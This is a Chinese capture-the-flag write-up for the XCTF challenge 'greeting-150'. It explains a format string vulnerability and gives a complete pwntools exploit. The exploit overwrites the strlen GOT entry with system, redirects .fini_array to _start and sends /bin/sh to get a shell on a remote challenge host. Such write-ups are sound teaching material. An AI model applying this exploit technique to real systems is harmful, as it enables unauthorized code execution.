greeting-150(xctf)
程序员文章站
2022-05-15 21:34:26
...
0x0 程序保护和流程
保护:
流程:
main()
存在一个明显的格式化字符串漏洞。
0x1 利用过程
1.格式化字符串漏洞的出现代表着只要有权限,就能完成任意地址写。而题目的保护是没有开启重定位表只读保护,所以可以修改函数的got表。所以可以修改一个参数由输入决定单参数函数的got表为sysytem函数的地址,这样就当输入**/bin/sh**的时候就可以完成getshell了。通过观察程序,决定修改strlen函数的got表。
2.由于需要二次输入,涉及到控制程序流程。而控制流程需要一个可执行的指针,如函数的返回地址。但是在这个,程序中我们无法获得栈的地址信息,只能通过别的方式实现流程的控制。仔细观察程序的输出会发现第一行的输出并没有在main()函数中实现。
但是在ida的函数列表中找到了这条语句的位置。
同时发现它所在的段也不是.text段,查找资料发现在执行main函数前会调用.init段代码和.init_array段的函数数组中每一个函数指针。同样的,main函数结束后也会调用.fini段代码和.fini._arrary段的函数数组中的每一个函数指针。
于是在ida中寻找发现nao函数调用的位置。
3.根据上述分析可以得出思路,通过漏洞修改strlen函数的got表,修改_fini_array处的数据为start函数的地址。
start_addr=0x080484F0
fini_addr=0x08049934
#sys_plt=0x8048490
payload+=p32(strlen_got+2) #12
payload+=p32(strlen_got) #13
payload+=p32(fini_addr) #14
#format string
#len("Nice to meet you, ")=18
#2020=2052-12-2-18 2052=0x0804
payload+="%2020c%12$hn"
#31884=0x8490-0x0804
payload+="%31884c%13$hn"
#96=0x84F0-0x8490
payload+="%96c%14$hn"
0x2 exp
from pwn import *
sh=remote('220.249.52.133','31255')
# sh=process('./a')
elf=ELF('./a')
strlen_got=elf.got['strlen']
start_addr=0x080484F0
fini_addr=0x08049934
payload="aa"
payload+=p32(strlen_got+2) #12
payload+=p32(strlen_got) #13
payload+=p32(fini_addr) #14
#format string
payload+="%2020c%12$hn"
payload+="%31884c%13$hn"
payload+="%96c%14$hn"
sh.recvuntil('Please tell me your name... ')
sh.sendline(payload)
sh.recvuntil('Please tell me your name... ')
sh.sendline('/bin/sh')
sh.interactive()
上一篇: 如何使用Vue数据监听方法watch
下一篇: Linux反弹shell姿势总结